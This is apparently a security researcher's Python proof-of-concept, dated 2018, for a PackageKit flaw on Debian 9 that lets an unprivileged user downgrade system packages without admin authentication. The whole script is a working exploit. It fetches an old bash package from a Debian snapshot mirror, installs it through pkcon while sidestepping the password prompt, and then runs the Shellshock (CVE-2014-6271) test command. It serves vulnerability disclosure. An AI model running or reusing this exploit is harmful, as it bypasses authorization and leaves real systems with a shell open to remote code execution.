#!/usr/bin/python3 # vim: noet ts=8 sts=8 sw=8 # Author: Matthias Gerstner # SUSE Linux GmbH # Date: 2018-04-05 # # Proof of concept: downgrade of packages via PackageKit without admin # authentication. # # This script is supposed to be run on Debian 9 stretch as a regular user. # # This program downloads an old bash package and installs it via PackageKit. # As a result the system will run a bash shell vulnerable to CVE-2014-6271 # (Shell Shock). # # The PoC shows that downgrading an important system package is currently # possible without entering admin credentials. Should a password prompt or # dialog appear, simply cancel it to continue. from __future__ import print_function import os, sys import urllib.request import subprocess def print_pkg_version(pkg): print("Currently installed version of {}: ".format(pkg), end = '') sys.stdout.flush() out = subprocess.check_output([ "/usr/bin/dpkg", "-s", pkg ]) for line in out.decode().splitlines(): if not line.startswith("Version:"): continue parts = line.split(':') print(parts[-1], end = '', sep = '') break print() def download_deb(url): base = url.split('/')[-1] print("Downloading", url, "to", base) con = urllib.request.urlopen(url) with open(base, 'wb') as fd: while True: chunk = con.read(4096) if not chunk: break fd.write(chunk) return os.path.join( os.getcwd(), base ) def install_deb(deb, pkg_base): pkcon = "/usr/bin/pkcon" cmdline = [ pkcon, "install-local", "--allow-reinstall", "-y", deb ] print("Trying to install", deb) print("Using command line", ' '.join(cmdline)) with open("/dev/null", 'r') as null: res = subprocess.call( cmdline, stdin = null, close_fds = True, shell = False ) if res == 0: print("Successfully installed package") print() print_pkg_version(pkg_base) print() else: print("Failed to install") sys.exit(1) # remove the XAUTHORITY environment variable to avoid the graphical prompt # (doesn't work actually, the daemons figure this out some other way) try: os.environ.pop("XAUTHORITY") except: pass aged_bash_url = "https://cdimage.debian.org/mirror/cdimage/snapshot/Debian/pool/main/b/bash/bash_4.2+dfsg-0.1_amd64.deb" deb = download_deb(aged_bash_url) print("\n" * 3) install_deb(deb, "bash") print("Testing bash shell shock vulnerability") bash_test = "env x='() { :;}; echo vulnerable' bash -c 'echo hello'" cmdline = [ "/bin/bash", "-c", bash_test ] print("Running", ' '.join(cmdline)) subprocess.call( cmdline, shell = False, close_fds = True )